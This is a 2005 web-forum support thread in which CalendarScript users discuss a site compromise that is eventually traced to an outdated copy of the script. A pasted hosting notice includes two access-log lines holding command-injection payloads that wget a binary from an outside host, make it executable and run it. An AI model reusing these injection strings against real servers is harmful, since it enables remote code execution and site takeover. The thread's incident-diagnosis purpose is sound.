next »

[seaquest]

Our site was brought to a crawl last night by a security flaw in calendarscript 3.21. Can someone suggest a fix for this. We had to kill calendar.pl to resolve the probem.

Details of the flaw are published here http://www.securitytracker.com/alerts/2005/Apr/1013705.html

[Scott]

Can you post an example line from your log file which shows the exploit in action?

------------------
Scott
CalendarScript.com

[TrillionAdams]

I have a client running version 3.21.  A few days ago his site was hacked.  I'm copying the message here that he received from his hosting service.  I have changed his site name to keep his anonymity and replaced various IPs with "IP".  Matt -- if you need the complete information I can email it to you privately.
----------------------------

It has come to our attention that your web space has been hacked:

access.log.19.gz:IP - - [09/May/2005:14:56:58 -0400] "GET //cgi-bin/awstats.pl?configdir=|%20cd%20%2ftmp%3brm%20-f%20%2ftmp%2fc%3bwget%20128.192.30.20%2fc%3bchmod%20%2bx%20c%3b.%2fc%20IP%2080%20| HTTP/1.1" 404 1997IP "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" "-"
access.log.21.gz:IP - - [29/May/2005:11:30:45 -0400] "GET /cgi-local/calendar/calendar.pl?command=login&fromTemplate=|cd%20/var/tmp;ls
;wget%20http://www.freewebs.com/soulerase/go;chmod%20750%20go;./go| HTTP/1.0" 200 194 http://www.thewebsite.com/  "-" "Mozilla/4.0 (compatible; MSIE
6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01  [en]" "IP"

--

The above was taken from your access logs.  It shows that awstats.pl and calendar.pl was used to perpetrate the hack.

The perpetrator setup a phishing site .signin.ebay.com/ and  also was spamming from hisdirectory/.cgi-bin/webscr/.paypal/update.php.
-----------------------

Should I recommend he disable calendar until this can be resolved?

------------------

[This message has been edited by TrillionAdams (edited June 01, 2005).]

[Scott]

I suspect that the user was not using version 3.21. Such an attack is not possible with 3.21 to my or anyone else's knowledge. Some have claimed otherwise, but no evidence of such has ever been provided.

------------------
Scott
CalendarScript.com

[TrillionAdams]

I checked the version number in the script he has on his server and it is 3.21

------------------

[DanO]

** I checked the version number in the script he has on his server and it is 3.21 **

Maybe check both the calendar.pl and calendar_admin.pl files themselves for the version number written towards the top.

Also, make sure there are no other, older, versions of CalendarScript still installed. One client I worked for had 2 other (3 in total - some with a .cgi file name extension) CalendarScript installations on their server.  

JFYI

Dan O.

------------------

[TrillionAdams]

Thanks for the suggestion!  That looks like exactly what happened.  He has a hosting service where websites are linked (not the right word I'm sure but hopefully you get the idea).  There was an old version of calendar on a different site so it was undoubtedly the culprit.

------------------

[Scott]

I'm glad the real culprit was found  

------------------
Scott
CalendarScript.com